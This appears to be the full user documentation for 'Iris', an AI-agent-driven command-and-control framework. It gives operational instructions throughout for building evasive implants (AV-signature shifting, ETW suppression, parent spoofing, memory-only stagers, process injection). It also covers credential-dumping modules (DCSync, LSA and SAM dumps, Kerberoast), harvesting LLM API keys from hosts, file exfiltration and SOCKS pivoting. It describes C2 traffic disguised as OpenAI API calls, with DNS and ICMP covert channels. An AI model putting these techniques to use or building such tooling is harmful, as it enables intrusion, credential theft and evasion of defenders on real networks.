  • Arrow-key history + line editing on a TTY; piped stdin falls back to plain line reads, so the REPL works in scripts too.
  • RBAC is enforced per verb: a viewer session gets a clean 403 … requires red on write verbs, exactly like the UI. A failed verb never kills the prompt.

Pivoting — reach internal networks

  1. serve --socks-port 0.0.0.0:5555 — UDP relay (:5556) and named-pipe proxy (:5557) come up with it.
  2. Enable pivot on the agent: UI ⇄ (or Workbench ⇄ Pivot, which also pins routing), console pivot enable <agent>, or POST /api/pivot/enable. The channel opens on the next beacon.
  3. Point tools at the proxy:
nmap --proxy socks5h://console:5555 10.0.5.0/24
proxychains curl http://internal-host/       # or Burp / Proxifier / RDP
  • UDP forwarding rides the same channel (relay port + 1).
  • Multi-hop: a child implant behind a gateway implant chains pivots; route maps show the path.
  • Named-pipe pivot (Windows): same-host agents reach the console through the pipe proxy — no network egress at all.
  • Routing priority: startup --socks-agent → the Pivot (C2) section's [USE] selection (console pivot route <agent>, auto clears it) → first available pivot channel. The selection is persisted and survives a console restart (the startup flag still wins).
  • The console PTY sets all_proxy automatically while a pivot routes (the "via pivot" badge shows it).

Protocol v1

Every message is one envelope:

{v, id, ts, type, agent, nonce, hmac, sig, payload}
  • Credential: sig — an ed25519 signature over the canonical header {v,id,ts,type,agent,nonce}, verified against the key pinned at HELLO (or the mTLS cert path). hmac is the retired legacy seal.
  • Beacon: POST /v1/chat/completions (OpenAI-shaped URL for traffic disguise; legacy /b still served) with one envelope. The console answers {"pending":[…]} — queued envelopes — holding the request up to X-Poll seconds (max 30). One standing request per agent — websockets exist only as the fast path for PTY / pivot channels (WS upgrade or WG). Where a proxy cannot carry the upgrade, pivot falls back to long-poll: GET /pivot/poll holds 25 s and returns queued console-to-implant frames (a response ends as soon as frames exist), POST /pivot/send carries implant-to-console frames, and both use the same frame dispatch and authentication as the WS channel. It costs a round trip per batch, so it is a fallback, not a preference.
  • Types: HELLO, REHELLO, HEARTBEAT, TASK, RESULT, PROGRESS, DATA, CONFIG, CANCEL, DONE, ERR, BYE, ANOMALY, BASELINE. PROGRESS streams the running transcript; CONFIG re-points LLM/MCP/skills/memory live; CANCEL aborts a goal mid-flight; ANOMALY / BASELINE carry the sensor feed.
  • Side channels: the same envelope rides DNS TXT (uplink split into base64url query-name pages, downlink as TXT records, retransmit-until-ACK) and ICMP echo (magic-prefixed payloads).
  • Encryption: ECIES — an X25519 ephemeral sealed to the console's static key, which the agent tracks per console endpoint (a fail-over console learns its own); the envelope itself is signed by the agent's ed25519 key. --no-ecies for plaintext.
  • Replay guard: envelope ts must sit inside --beacon-ts-window (nonce retention follows the window).

Credits & third-party code

Iris itself is MIT — Copyright (c) 2026 x90.dev, see LICENSE in the bundle. Everything below is third-party: vendored dependencies, and community modules that stay separate works loaded at runtime rather than linked into the binaries.

Models & harness — this codebase was written end-to-end by AI coding agents:

  • Coding models — OrcaSAQ-2-Cyber-27B-Uncensored (OrcaRouter, Apache-2.0) and Qwen3.8-Flash-Next-Gyro-abliterated (base Qwen/Qwen3.8-Flash-Next, abliteration by huihui-ai, GGUF quant by AgentionAI).
  • Harness — the DeepSeek Harness agent loop (plan, implement, test, review).
  • Fleet LLMs — cyber-focused uncensored GGUF models served locally over OpenAI-compatible endpoints; weights are never shipped inside iris.
  • Community module imports — TrustedSec CS-Situational-Awareness-BOF (GPL-2.0), shashinma LSAdump-BOF (GPL-3.0), RalfHacker Kerbeus-BOF (no license stated upstream). Provenance: bofs/recipes.json; live-tested blobs: bofs/cs/compiled/ (bofs/cs/README.md). They are separate works loaded at runtime — never linked into the Go binaries.
  • IR bridges — Velociraptor (Velocidex, AGPL-3.0) and osquery (GPL-family): operator-downloaded, operator-run; Iris deploys and drives them but never bundles them.
  • Use — authorized testing only; see the README disclaimer.

Acknowledgment — thanks to the Palo Alto Networks Unit 42 researchers for their attention and great analysis while this project was in progress.

All Go dependencies are vendored under third_party/ (local replace directives, no go.sum, fully offline builds; every vendored copy keeps its upstream LICENSE file):

DependencyLicenseUsed for
aymanbagabas/go-pty (Ayman Bagabas)MITWindows ConPTY live shell (internal/pty)
creack/ptyMITUnix PTY live shell (agent + console)
chzyer/readline (Chzyer)MIToperator CLI/REPL line editing
ebitengine/purego (Ebitengine / Eimantas Valiula et al.)Apache-2.0cgo-free FFI — Beacon API callbacks + in-process loaders
modernc.org/sqlite (The Sqlite Authors / modernc)BSD-3-ClauseSQLite driver — console state DB (pure Go, no cgo)
modernc.org/libc, modernc.org/mathutil, modernc.org/memoryBSD-3-Clausetransitive (sqlite)
dustin/go-humanize (Dustin Sallings)MITsize/duration formatting (UI + API)
google/uuid (Google)BSD-3-Clauseids (sessions, artifacts, module runs)
mattn/go-isatty (Yasuhiro Matsumoto)MITtty detection (CLI)
ncruces/go-strftime (Nuno Cruces)MITstrftime for sqlite (transitive)
remyoudompheng/bigfft (Go Authors)BSD-3-Clausetransitive (libc / mathutil)
golang.org/x/crypto (Go Authors)BSD-3-Clausepbkdf2 operator-password hashing
golang.org/x/net (Go Authors)BSD-3-ClauseHTTP/2 + h2c (PTY channel tier)
golang.org/x/sys (Go Authors)BSD-3-ClauseWindows ConPTY API, unix syscalls (ELF/Mach-O loaders, memfd)
golang.org/x/term (Go Authors)BSD-3-Clauseconsole stdin readiness
golang.org/x/text (Go Authors)BSD-3-Clausetransitive (x/crypto)
wireguard-go (Jason A. Donenfeld et al.)BSD-3-Clauseuserspace WireGuard device for the WG C2 channel (internal/wg, vendored + trimmed)

Web asset: the live-shell terminal is xterm.js 5.5.0 (+ the fit addon), MIT (the xterm.js project), vendored under cmd/console/web/pty/.

C code in core/ (lite implant): the curve25519-donna / ed25519-donna / modm-donna headers are public domain (floodyberry/donna; ed25519 modified from the amd64-51-30k implementation by Daniel J. Bernstein, Niels Duif, Tanja Lange, Peter Swensen). core/ed25519.o is the pre-compiled object linked by iris-lite-builder so the C cross-compile stays a single TU.

BOF ABI & loaders: the Sliver BOF (COFF/ELF/Mach-O) format, the Beacon API (BeaconPrintf, BeaconFormat, BeaconData, BeaconOutput) and the relocatable-object loader design are credited to the Sliver project (GPL-3.0, Bishop Fox) — internal/reflective is a port of Sliver's reflektor, core/coff.c mirrors it, and the unix in-process loaders in internal/bof follow the same ABI. The section-symbol relocation formula (ADD the in-code offset, not replace) follows trustedsec/coffloader (GPL-3.0, TrustedSec).

C→Go Beacon callback bridge (internal/bof/purego_callbacks_windows.go) ports Sliver's reflektor approach of turning each Go callback into a real C-callable pointer. Credited:

  • purego (Apache-2.0, Ebitengine / Eimantas Valiula et al.) — purego.NewCallback makes each Go closure a stable, C-callable pointer running inline on the calling goroutine.
  • Sliver (GPL-3.0, Bishop Fox) — the per-function callback table, the entry invocation (runtime.LockOSThread() + syscall.SyscallN), and the per-arg-type string packing (AddString / AddWString).

BOF module corpus: the test corpus comes from sliverarmory/CS-Situational-Awareness-BOF (GPL-2.0; original author TrustedSec) plus the first-party plain-C modules in bofs/iris/.

**Imported capability modules (cs/*)** — built locally from upstream sources, shipped as labeled imports through the loader:

ModuleUpstream (author)License
cs/kerberoast, cs/kerberoast_json, cs/asrep, cs/asrep_jsonRalfHacker/Kerbeus-BOF (Ralf Häcker — C port of Rubeus)no license file upstream (C# Kerbeus is BSD-3)
cs/lsakrb, cs/lsamsvdazzyddos/lsawhisper-bof (port of the SpecterOps LSA Whisperer research)MIT per port note; repo has no license file
cs/dcsynckozmer/dcsync-bofno license file upstream
cs/lsadump_secrets, cs/lsadump_sam, cs/lsadump_cache (+ *_json variants)shashinma/LSAdump-BOFGPL-3.0
cs/adcs_enum, cs/adcs_enum_jsonTrustedSec Situational Awareness BOFs (JSONL variant)GPL-2.0

First-party iris/* modules are original work.

Console & layout

The console is a single self-contained web page served by iris-console serve — no frontend build, no external assets. Everything updates live over SSE: beacons, transcripts, files, detections, audit rows.

  • Header — version badge, audit badge (unreviewed events), auth mode, log out.
  • Dock (bottom) — every panel: All · Agents · Send Goal · Goals · Shell · Files · Blue Workspace · Graph · Modules · Skills · Tune · Global · Transport · Audit · Operators. Transport is a single item with two headers: Pivot (C2) (SOCKS route + multi-hop listeners) first, then Secure transport (WireGuard tunnel, then Certificates (mTLS)). Schedules and messages live inside Send Goal, not in their own dock item. The dock doubles as a focus switch: a section button hides every other panel and that panel's tables grow to fill the screen — one panel per job. Click the focused section again (or All) to return; arrow keys cycle sections; 0 or ` = All. Typing in a field is never intercepted.
  • Focus details — controls keep their layout; long scrolling tables extend down to just above the dock, short tables stay as they are (no gaps). The choice persists across reloads; deep links (#sec-detections) open focused, and detection-chip jumps focus the Blue Workspace. Fresh Blue Workspace detections show as a count badge on the dock button.
  • Every panel has a ? popover — the full operational help, so the UI itself stays short.
Signed in — status line, Global settings, agent table, dock
Signed in — status line, Global settings, agent table, dock

Login & operators (RBAC)

With --operator-auth the operator surface (UI + API; the agent surface stays cert/signature-only) requires a named operator login. The sign-in form always takes a named account — a fresh console has none yet, so seed the first from the CLI (a bare password sign-in on the CLI/API bootstraps the legacy shared password; the UI form cannot bootstrap anything):

iris-console operator add alice --role red --password <pw> --db ~/iris-runtime/iris-state.db
  • Roles — viewer (read everything, mutate nothing) · blue (Blue Workspace IR only: Velociraptor / osquery runs, IOC sets, probes, anomaly dispositions, messages — no goals, no shell, no red actions) · red (full operator: goals, shell, modules, pivoting, kills) · admin (everything above + operators, certs / PKI, registry-wide settings, llm-block containment). Unknown mutations fail CLOSED to admin.
  • Sessions — issued cookies carry absolute + idle expiry; logout ends one. CLI and REPL authenticate as the same identities — Authentication (multi-operator).
  • Attribution — every mutation and every RBAC denial lands in the audit trail with the actor name; no shared-key anonymity.
  • Offboarding — disable an operator without touching their audit history; delete removes the account, not the trail.
  • Legacy shared password — the X-Password path stays until --disable-legacy-password turns it off. Create a named admin FIRST, then flip — or you lock yourself out.
Named-operator sign-in
Named-operator sign-in
Operators — roles, status, password, disable, delete
Operators — named accounts, roles, password, disable, delete + legacy shared password

Fleet — the agent list

One row per agent, live. Filter across id · os · user · host · models · EDR/AV · status · source IP · geo; the fleet header carries the Hide idle threshold and the Allow key mismatch check-in checkbox.

  • Columns — stable agent id (copy icon; clicking opens the Workbench) · user/host/os composite · EDR/AV detection + implant version + arch · mission-role chip (red/blue/dual — flip from the row, see mission roles) · fingerprint (LLM backends seen on the host, MCP servers, skills, WG address) · skills · last seen · beacon count + last channel · auth icon (mTLS / signature).
  • Enrollment — --strict parks first-seen agents PENDING until you approve or deny; a denied agent can be blocklisted so it never re-enrolls. Key-rotation beacons (bad signature) can be flagged for approve/deny instead of rejected via the Allow key mismatch check-in box in the fleet header.
  • Actions per agent — approve/deny · LLM-proxy toggle (compromise containment: its remote LLM calls 403; beacon + local LLM keep working) · boost (fast-poll: the beacon loop tightens to the shell cadence (~150ms) so queued goals pick up near-instantly; idle beaconing unchanged; off = the normal stealth-aware cadence) · hide · revoke cert · blocklist · kill · live PTY · Workbench · Console link · pivot enable.
  • Batch — kill all (kill switch) · clear goal history · export / import the fleet view · role flip to --all.
Fleet — 4 live agents; strict PENDING row, kill all, fingerprint chips
Fleet — live agents; roles, stealth, Defender chips, kill all, fingerprint + MCP columns

Send Goal — goals, schedules, messages

The merged send panel — everything leaving the operator toward agents: goals, scheduled goals, messages. One shared console: every operator sees the same goal history, schedule, and message log.

  • Goal — a natural-language task to one agent, several (--agents a,b) or the whole fleet. The agent runs a tool-loop (shell, modules, files, recon…) and reports facts; you get a live streaming transcript. Pick the LLM backend per goal. Supervised mode pauses on each plan for your approve/reject — the decision is audited. The console-wide default mode lives in Global settings; the per-goal choice overrides it. Shell / file-pull goals are never gated by mode.
  • Schedule — one-shot goals that fire at a chosen time (at) or after a delay (in: "2h"), then leave the schedule; re-send to repeat. list / cancel from the panel or console schedule. The schedule is console-wide: it survives restarts and fires whether or not anyone is logged in — a goal queued by operator A runs regardless of who is watching.
  • Messages — an operator message goes to an agent: delivered on its next beacon and injected into its LLM context, so it can act on it and reply with its own message tool. The panel doubles as the inter-agent log — agent↔agent hand-offs and agent→operator reports all land here. One shared log for every operator.
  • Who did what — every Messages row carries an OPERATOR (green) or AGENT (slate) pill — operator sends show the logged-in account name, agent-origin rows the agent id; goal rows show by with the operator who queued them; plan decisions land in the audit trail attributed. Writes need red (messages: blue) — a viewer session reads everything, changes nothing.
cg-send
The merged send panel — goal form with schedule options, and the shared Messages log with OPERATOR / AGENT pills: green rows are operator-sends (attributed to the logged-in account), slate rows are agent-origin.

Goals & transcripts

Every goal, running or done, with time · agent · model · status. Click through to the full transcript: each tool call, its output, the model's reasoning steps, final result — exportable per goal.

  • Cancel a running goal — an immediate abort: the in-flight LLM call is torn down and the running command killed; remove finished rows; wipe a panel wholesale (clearall).
  • Agent acks land here — config / tune / role / stealth pushes confirm applied (and rejected) values as goal rows, so every runtime change is visible in the same table.
  • Two channels, one history — LLM goals vs direct shell rows (model=shell) tag separately and export / purge separately.
  • CLI parity: console goals [id] · console cancel <agent> [goal] · console export goals file.json.
cg-goals
Goals panel — search “llm” filters to LLM runs: goal, thought, result, failures, per-step transcript

Shell & live PTY

Shell — one command on one agent, no LLM in the loop. Output returns through the agent's current channel and lands in the transcript stream as a model=shell row.

  • CLI: console shell <agent> "whoami" — scriptable, multi-target (--agents / --broadcast), no LLM quota spent.
  • PTY — a live interactive terminal on the agent: full TTY semantics, Windows ConPTY on the implant side. UI: the pty icon on the agent row or the Workbench Pty button — opens a terminal window; the session ends explicitly or self-reaps after 360s of no I/O (sliding). CLI: console pty <agent> [cmd] in your own terminal — --idle N sets that reaper (default 360, 0 = never), ^]q (telnet-style) detaches.
  • Pivot-aware — the console PTY sets all_proxy through the SOCKS proxy whenever a pivot can route, re-syncing as channels connect/disconnect — so tools run inside the agent shell reach the internal network.
Shell — direct command entry
Shell — direct command entry
Live shell (PTY) — interactive terminal on a Windows agent (CONPTY, ws tier)

Files — pull / push / exfil

  • Pull — remote path → console (chunked transfer, reassembled from the beacon stream; large files survive channel failover mid-transfer). Download from the Files panel or console download <name>; the list shows size + received time + source agent.
  • Push — console file → agent path (~4 MiB per push); the Workbench file explorer has the reverse Push.
  • Runtime captures — a screenshot (the C BOF iris/screenshot: GDI capture → PNG in TEMP) or any on-host artifact lands as a pulled file through the same DATA pipeline — same table, same download route.
  • CLI: console file <agent> <path> (pull) · console push <agent> <local> <dest> · console file-del <name>.
Files — pulled artifacts with download / remove
Files — pulled artifacts with download / remove

Blue Workspace

The blue-side workflow — triage → indicators → hunt — scoped to sensor agents (mission role blue/dual; see mission roles). Click a host name to scope that sensor and investigate.

  • Sensor posture — per-agent golden baseline (processes, services, persistence, listening ports) with drift status above the feed; diffs run on every beacon.
  • Triage — the anomaly feed: IOC hits, suspicious artifacts, posture drift, plus the behavioral engine on beacon metadata (egress drift, protocol switches, cadence breaks) as sev-rated rows with the evidence line. Row actions: FP = false positive (allowlisted, repeats suppressed) · OK = confirm (auto-IOC extraction into a triage/<agent> set) · ESC = escalate (goal prefilled, auto-targeted at a RED agent on that host) · CAP = exfil the file + hash it.
  • Indicators — the IOC sets you feed (curated catalogs + auto-extracted); sweep fleet re-arms every sensor's disk sweep; hashes appearing in result tables join the active set automatically.
  • Hunt — Velociraptor: heavy DFIR artifacts through the collector bridge. Deploy is ONE operator click (a blue sensor never installs IR tooling itself) and lands at %LOCALAPPDATA%\iris-vr\velociraptor.exe; Iris pins v0.77.3. Deploy source resolves per target OS (/data/velociraptor.exe / -linux / -mac from the console's --payload folder; the row edits the WINDOWS source, linux/mac via console vr-url linux <url> or /api/deploy-urls). Replace the file + re-deploy to update — re-deploy is also the repair path for a half-download. Results land in the Artifact store; Generic.Detection.Yara runs your active yara indicators over C:\Users + C:\Windows\Temp, and hits feed the Fleet rollup + alert webhook as known_bad.
  • Hunt — osquery: plain SQL through the pinned 5.24.0 one-shot shell, read-only — SELECT/WITH only, rejected console-side before it hits the wire. An optional label names the run; results land in the same Runs table (view opens the table). Starters: SELECT pid,name,path,cmdline FROM processes · join process_open_sockets for live connections · SELECT path,md5,sha1 FROM hash WHERE directory='C:\Windows\Temp'. Per-OS deploy source via console osq-url. Full walkthroughs: Velociraptor deploy · osquery deploy.
  • Containment stays red/admin — the Fleet row's LLM-proxy toggle (admin), blocklist and kill (red) belong to the Fleet panel; a blue session escalates instead of containing.
  • A blue operator hunts, disposes and escalates — ESC opens a prefilled goal auto-targeted at a red/dual agent on the same host.
Blue Workspace — detections + IOC catalogs
Blue Workspace — detections + IOC catalogs
Workbench — baseline & interface, detections, Velociraptor deploy, file explorer
Blue Workspace Triage — golden baseline & surface, watch set, live detections with respond chips

Recon Graph

Assembled by the console from machine-readable capability output as goals finish — module output is facts, not prose — into entities (hosts, users, groups, services, domains, CAs, cached credentials) with typed edges (admin-on, of, dc-of…).

  • Sources — JSONL module variants (kerberoast/asrep hashes, SAM + cached-credential records, ADCS templates with computed ESC labels), iris/adenum entity dumps, scan dnsenum facts, structured recon reports (console recon <agent> [light|full]).
  • Provenance — every node/edge carries agent + goal id + source: a finding is never stronger than the goal that earned it. A source the console cannot parse adds no edges — no guessing.
  • Corpus-driven — vanilla deployments yield hosts/DCs/accounts; loading the cs/* corpus lights up the hash-bearing edges.
  • Actions — report renders the markdown red-team report (ranked findings + per-agent timeline); export CSV gives BloodHound-style edge rows; reset drops the graph (goal history untouched). The graph is per-fleet and survives restarts as an atomic JSON snapshot beside the state file (derived data — a corrupt snapshot is quarantined and rebuilt from goal results).
  • CLI: console graph [--type T] [--name sub] [--json|--csv] · graph report · graph reset.
Recon Graph
Recon Graph

Modules (BOF / ELF / Mach-O)

Loadable capability extensions executed in-process on the implant — no child process on Windows — runnable from the console without an LLM, and on full AND lite agents.

  • Platforms — Windows: PE or COFF (Sliver-style); Linux: ELF; macOS: Mach-O (unix modules run as child processes from memory — no file on disk on Linux). Every module carries its platform tag; run refuses a module that doesn't match the agent's OS.
  • First-party catalog — iris/tasklist · netstat · regquery · pth · sam · vault · adcsreq · psexec · wmiexec · adenum · screenshot plus the imported cs/* AD corpus (Kerberoast, as-rep, ADCS enum, lsadump variants) — every module reports structured facts; the LLM reasons over them. (recon · scan · local · creds · evidence · lateral are the agent's built-in tools, not modules.)
  • Third-party — import Sliver/Cobalt-style .o BOFs; extension.json sidecars auto-attach with arg names/types packed exactly. Export/import module sets as zip; upload accepts .bof/.o/.obj/.dll/.exe/.elf.
  • Arg packing — tokens are space-separated. Windows: each token becomes a Sliver BOFArgsBuffer field — all-digits = int, else a NUL-terminated string (sa-dir takes <path> <subdirs>). Unix: tokens become the child argv. Bytes go inline in the directive; results land in the Goals table on the agent's next beacon.
  • Loaders — reflective COFF (Beacon API implemented in pure Go) on Windows; in-process ELF/Mach-O on Linux/macOS. Per-module compat verdicts: docs/bof-compat.md.
  • Run from UI (run + args), CLI (console module run <agent> <name> <args…>), or inside an LLM goal — the agent picks catalog modules itself.
  • Morph — console upgrade <agent> <url> points a lite agent at the full implant: download, reflective load, hand-off in the SAME process (same PID/image/id, no self-kill — the old core is superseded in memory).
Modules — catalog rows with origin namespace, run box, import/export
Modules — catalog rows with origin namespace, run box, import/export

Pivot (C2) & secure transport

One dock item, two headers. Pivot (C2) leads: which implant SOCKS traffic routes through, plus the multi-hop listeners. Under Secure transport sit the two halves of one channel — the tunnel, then the certificate authority that provisions it (a peer IS a cert, so both halves are maintained here together).

Pivot (C2)

Reach networks the console cannot see, through an implant that is already inside them. The status line says what is live and what traffic is actually using.

  • Status line — SOCKS proxy: <addr> | route: <agent> | connected: …. route: is the agent traffic flows through right now; — means nothing can route yet. connected: lists agents whose pivot channel is up (a WebSocket upgrade, or long-poll where a proxy strips the upgrade); an agent reached through another shows <agent> (via <gateway>).
  • Enable pivot per agent (the ⇄ button in the Fleet row or the Workbench), then USE pins it as the route; the dropdown marks each entry (active) / (open) / (connecting…) — pivot is intent, a channel opens on the agent's next beacon. DISABLE clears the pin and routing falls back to the first live channel.
  • Routing priority — startup --socks-agent → the USE selection → first available channel. The USE selection is persisted and survives a console restart; the startup flag wins over it.
  • SOCKS5 — serve --socks-port 0.0.0.0:5555, then point Nmap / Burp / RDP / proxychains at socks5h://console:5555; UDP-associate rides the same channel (relay port + 1). The console PTY routes through the same pivot, so a Workbench shell reaches internal targets too.
  • Multi-hop listeners — select the gateway agent, set a port (0 = ephemeral), LISTEN: the listener runs ON that agent, so a child implant whose C2 URL points at <agent-host>:<port> tunnels its whole C2 through the gateway. STOP closes a listener.
  • CLI: console pivot enable | disable | streams | listeners | pipe; full walkthrough in channels & pivoting.

WireGuard tunnel

An encrypted-tunnel beacon channel (--wg-listener) for agents whose mTLS cert carries a WG identity — the WG key lives in a cert extension, so peer provisioning IS the cert; no key-exchange ceremony.

  • Peers are added lazily on every beacon; WG key resolution: presented cert → cert record by agent name → self-reported cert fingerprint, so proxy-routed beacons work too. Cert revocation drops the peer and its route.
  • Last seen = the last decrypted packet from that peer. — means the peer was configured but never rode the tunnel (dead WG path: UDP blocked at the console, or the agent's endpoint unreachable).
  • Auto endpoint — start the console with --wg-advertise <public host:port> and build implants with --wg-addr auto: the endpoint is console-pushed on every beacon, so moving the WG port needs no fleet rebuild (a baked --wg-addr host:port still wins).
  • Device errors count the tunnel's decrypt/handshake failures — non-zero means packets arrive but fail (wrong key, moved endpoint, a middlebox mangling UDP).
  • WG is just another channel the beacon can fail over to (fleet row shows beacons: N wg); for pivoting through the tunnel see channels & pivoting. CLI: console wg · console wg peers.
WireGuard — listener state + lazy peer table
Secure transport — WireGuard tunnel (listener state + lazy peer table) above the certificate list

Certificates (mTLS PKI)

--mtls turns the console into its own CA — zero external PKI. The cert's CN is the agent's identity and it overrides the envelope's agent field.

iris console certs init --san c2.example.com,203.0.113.5   # CA + server cert (one-time; SANs = console hostnames/IPs)
iris console certs issue <agent-name>                       # per-agent client cert (WG key in a cert extension)
  • Bake it — iris-implant-builder --cert <bundle>; the agent then beacons by presenting its cert (fleet auth icon confirms per row).
  • Revoke — stops a cert immediately: its next beacon is rejected 403 and its WG peer drops. Pair with blocklist so a revoked agent can't re-enroll.
  • Migration — without --mtls nothing changes (the ed25519 signature path still authenticates beacons), so a fleet migrates agent-by-agent.
  • CLI: certs init | issue | list | revoke | show.

Agent tools — skills · MCP · LLM

One agent selection drives the skills, MCP, and LLM rows. Everything here applies live (no restart); the agent acks in the Goals table and the Agents table shows its skills/MCPs.

  • Skills — markdown technique / playbook packs the agent LLM loads mid-goal via the skill tool: the agent keeps only the record and fetches the body during the goal — nothing loads at launch. Assign one from the console's --skills-folder dropdown or paste a remote skill URL; add assigns (or creates a store skill), remove unassigns, view/edit open the markdown, reset clears all.
  • Pending skills — agent self-learning — skills an agent proposed via skill_save after solving a repeatable task land here for review: approve (saves to the store and optionally advertises the skill to other agents) · reject · discard.
  • MCP servers — add / remove Model Context Protocol servers at runtime; Firecrawl web search is built in by default (bake --no-default-mcp to drop it). Changes are RBAC-gated pushes (red); the agent dials the MCP server itself — no console proxy.
  • LLM — add an endpoint to the agent's pool or change its limits: base URL + optional API key, wait for the model dropdown to populate, pick a model, submit. Keys can stay console-side via the default-LLM proxy, and locally-detected backends on the host (running assistants, harvested vendor keys) show up in the fleet fingerprint as routing candidates.
  • CLI: skills · skill <name> · mcp · config · llm-endpoints.
Agent tools — skills, MCP, LLM backends
Agent tools — skills, MCP, LLM backends

Tuning (runtime config)

Live-tune a running agent — pushed over the beacon, no restart, no re-bake. The agent acks the applied (and rejected) values in the Goals table. Runtime tune overrides baked values.

  • What — four columns, live: beacon & stealth (normal/low gap + jitter · user-agent pool · beacon-stuck watchdog) · llm & tools (max steps/tokens · llm/tool timeouts · file-memory disk posture) · data caps & recovery (max read/output/list/env · stuck-goal timeout · anti-tamper action) · channels & sessions (file-pull cap · llm/MCP response caps · skill body cap · PTY session cap · per-agent C2 profile override). Channel order is a bake flag (--channels), not runtime tuning; per-agent LLM lives in Agent tools.
  • Input rules — an empty field = no change for that value. Durations: a bare number is seconds (30 = 30s), or write 1.5s / 1m. Sizes: bare bytes, or 256k / 1m / 2g.
  • CLI twin: console tune <flags> <agent> · --reset restores defaults.
Tuning — live runtime config
Tuning — live runtime config

Audit Trail

Append-only, SQLite-backed, survives restarts. Every operator mutation and every RBAC denial — who, when, what, result — plus system events (enrollments, channel switches, kills).

  • Attribution — named-operator sessions (Web UI or CLI/REPL login) attribute precisely; the legacy shared password shows as its own actor until retired.
  • The detail says what happened — not just the path. A dispatch row names the goal id(s) it created; module / inject / recon / kill rows name the goal they queued; a scheduled goal names its schedule id. In the table those ids are links: clicking one opens the Goals panel and lands on that goal row (a filter hiding it is cleared once and retried).
  • Same trail from the CLI — console audit --q goals/queue, with --from / --to windows, --json, and console audit export|import <file> (CLI verbs).
  • Review — the header badge counts unreviewed events; filter by actor / action / time; export.
  • Operator-readable: no secrets in the trail beyond what the actions touched.
Audit Trail — attributed events whose detail names the goal each action created
Audit Trail — attributed events; goal ids in the detail are links to the goal rows

Global settings

The console-wide switches — everything here applies to every agent, live, no restart. Each row has a CLI twin:

  • Global instructions (console global) — standing text prepended to every agent's system prompt; goals only, direct shell untouched.
  • Startup instructions (console startup) — a goal queued once for every agent that has never checked in; a baked --startup-goal overrides it.
  • Default LLM (console llm-default) — the console's LLM endpoint list. Agents that beacon without their own LLM are proxied through it: the API key stays on the console and never touches a target. Per-agent block: console llm-block.
  • IP allowlist (console ip-allowlist) — single IP / CIDR / range / wildcard per line; anything else gets 403.
  • Default operation mode (console mode) — autonomous or supervised for every goal this console queues; a per-goal choice wins.
  • Secondary console (console secondary) — fail-over URL; agents switch their beacon there when the primary is unreachable and switch back when it recovers.
  • Beacon path (console beacon-path) — the beacon URL path served and pushed to agents; the defaults stay served so agents always re-converge. Must start with /; exact collisions with /pty/channel · /data · /healthz are rejected, paths under /api/ (e.g. /api/llm/endpoints) are fine. Changes apply on the next beacon, no restart.
  • C2 profile (console c2-profile) — malleable wire shape (saas-poll looks like a SaaS sync · cdn-prefetch like a CDN cache-warm · ws-message like a WebSocket push · custom = your own JSON: {{envelope}} in req_tmpl and {{payload}} in resp_tmpl carry the C2 data; {{session_id}}, {{request_id}}, {{timestamp}} are filled in). The crypto envelope is unchanged — only what passive traffic looks like. A profile-wrapped request that fails falls back to default on the standard paths. Per-agent override in Tuning; CLI also takes --json <file|inline>.
  • Pivot (C2) is NOT here — route selection and multi-hop listeners live in the Pivot & secure transport panel.

Serve-time options that are NOT in this panel (replay window, goal cap, strict enrollment, DNS/ICMP/WG listeners…) live in the serve flag reference. Fleet-side controls: enrollment + blocklists, key-mismatch check-in, hide-idle threshold.

Global settings — status + configuration
Global settings — status + configuration

Workbench — per-agent page

One page per agent at /workbench/<agent-id> — everything scoped to that host. Open it by clicking the agent id in the fleet, or link out from any transcript.

  • Header — agent name · mission-role picker (red / blue / dual) · ⇄ Pivot toggle · 👻 Stealth (click = ON/OFF; an auto-engaged agent drops to OFF in one click, right-click resets to AUTO) · PTY · 🖥 Console (operator console shell — routes through the active pivot). Status bar below; BLOCKLISTED and LITE-core banners explain a quiet agent at a glance.
  • IR panels (shown for blue / dual agents; a pure-blue session hides the red sections) — golden baseline & drift diff, this host's detection ring (dispositions happen in the Blue Workspace), Velociraptor + osquery deploy-clicks and runs, read-only probes (blue sensors accept allowlist reads; mutating lines point back to ESC), playbook dispatch — all scoped to THIS host.
  • Chat — goals stream live; the controls row carries the per-goal mode (supervised / auto), max-steps, LLM routing, and the ⚡ Boost toggle (fast-poll while on; the view refreshes faster too).
  • Direct actions, no LLM — Tools (the named catalog: scan · local · creds · evidence · lateral, plus run / recon / list / net / env), Inject (Windows remote process inject — empty payload injects this implant's own binary; kill-original leaves only the injected copy), Modules (BOF) with the upgrade row (morph a lite agent to full), Shell (one direct line, no LLM).
  • Host data — Recon light / full (spawn-free snapshot; full tier adds the AD domain) lands in the Recon Graph with provenance; File Explorer pulls and pushes; Goals shows this agent's transcripts; Config edits the per-agent system prompt; Skills / MCP assign per agent.
Workbench — baseline, detections, deploy, recon, explorer
Workbench — baseline, detections, deploy, recon, explorer
Workbench — a red agent running a goal
The same page on a RED agent mid-goal: the chat streams the transcript live — thinking, the tool call, its result — with STOP and mode / steps / LLM routing in the controls row.

The implant & baking (quick)

Portable, config-baked, zero runtime arguments, zero runtime files (Linux runs entirely from memory via memfd). Build on a host with the Go toolchain:

iris-implant-builder \
  --url https://c2.example.com --file-out ~/payload/implant.exe \
  --target-os windows --canary $(uuidgen) \
  --parent-spoof quiet-mixed --etw --pack
  • Per-build identity — --canary is a content-shift token baked into the binary (unique content per build → generic AV signature hashes stop matching); name/parent/flag choices; --target-os linux|darwin for Unix (direct syscalls, memfd execution; --etw is Windows-only).
  • Evasion — ETW suppression posture, anti-forensics string encoding, parent spoof; beacon crypto is ECIES so the wire carries no shared secret.
  • Upgrade — memory-only reflective upgrade by default (no new file on disk); opt into write_file for same-name persistence. Upgrades carry the fleet-wide version stamp you see in the header.
  • Mission role — bake --role red|blue|dual (blue = sensor: detection active, goal execution read-only) or flip it at runtime with console role; see mission roles.
  • Smaller first stages — the tiny C core (iris-lite-builder: compiles C with clang/MinGW — no Go toolchain on the build host; ~300-500 KB static PE; morphs to the full implant via --full-url) and the one-shot stager (iris-stager-builder: download + reflective jump, or remote-inject into a running process — the implant never touches disk).
  • Run it — serve the baked file via --payload ~/payload, launch on the target; the agent mints its own ed25519 identity and lands PENDING under --strict. Nothing to hand out.

Channels & pivoting (quick)

  • Beacon channels — HTTPS primary; automatic failover to DNS TXT and ICMP; WireGuard when provisioned. The fleet row shows the last channel used; switches are audited.
